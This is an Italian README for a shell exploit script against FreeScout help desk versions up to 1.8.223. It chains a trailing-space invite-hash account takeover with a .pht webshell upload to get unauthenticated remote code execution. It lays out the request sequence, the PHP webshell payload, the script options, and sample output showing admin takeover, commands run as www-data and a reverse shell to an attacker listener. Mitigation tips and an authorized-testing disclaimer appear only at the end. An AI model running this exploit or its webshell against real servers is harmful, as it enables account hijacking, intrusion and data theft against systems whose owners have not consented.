
Esecuzione remota di codice senza autenticazione in FreeScout ≤ 1.8.223 (un help desk Laravel) combinando due vulnerabilità, entrambe corrette nella 1.8.224:
POST /user-setup/{hash}/{invite_sent_at} seleziona l'account solo tramite la colonna invite_hash. Un utente attivato ha invite_hash = '' e su MySQL/MariaDB l'uguaglianza VARCHAR ignora gli spazi finali, quindi hash = %20 corrisponde all'admin. Il controllo di scadenza invite_sent_at decripta il valore usando la password dell'utente come chiave, ma l'helper di decrittazione restituisce l'input grezzo in caso di errore (catch vuoto), quindi viene accettato un timestamp unix corrente in chiaro. L'endpoint sovrascrive quindi email + password dell'account e ti autentica..pht autenticato. La denylist degli upload (php.*|sh|pl|phtml|phar) non copre .pht, che Apache mod_php esegue come PHP.Combinando le due vulnerabilità, un attaccante non autenticato può eseguire codice come utente del server web (www-data).
GET /user-setup/%20/<unix_ts> per ottenere un cookie di sessione + token CSRF.POST sullo stesso URL per sovrascrivere email/password dell'admin e accedere (ATO).POST /uploads/upload di una shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; 1.8.224+ corregge entrambi i bug (302 si trasforma in un takeover fallito)..pht dipende dal server che esegue .pht tramite mod_php — l'ambiente "Apache standard + libapache2-mod-php" preso di mira dalla CVE.system() viene eseguito tramite /bin/sh (dash su Debian/Ubuntu), che non comprende il redirect >& /dev/tcp/... esclusivo di bash, e base64 evita anche tutte le insidie di quoting.! di proposito — ! attiva l'espansione della cronologia in bash/zsh interattivi e rovina i comandi incollati.VARCHAR per i token di sicurezza (collisioni dovute agli spazi finali) e non trattare mai una decrittazione fallita come un valore valido — rifiuta i token vuoti/non validi.Solo per test di sicurezza autorizzati e scopi educativi. Non usarlo contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare. L'autore non si assume alcuna responsabilità per un uso improprio.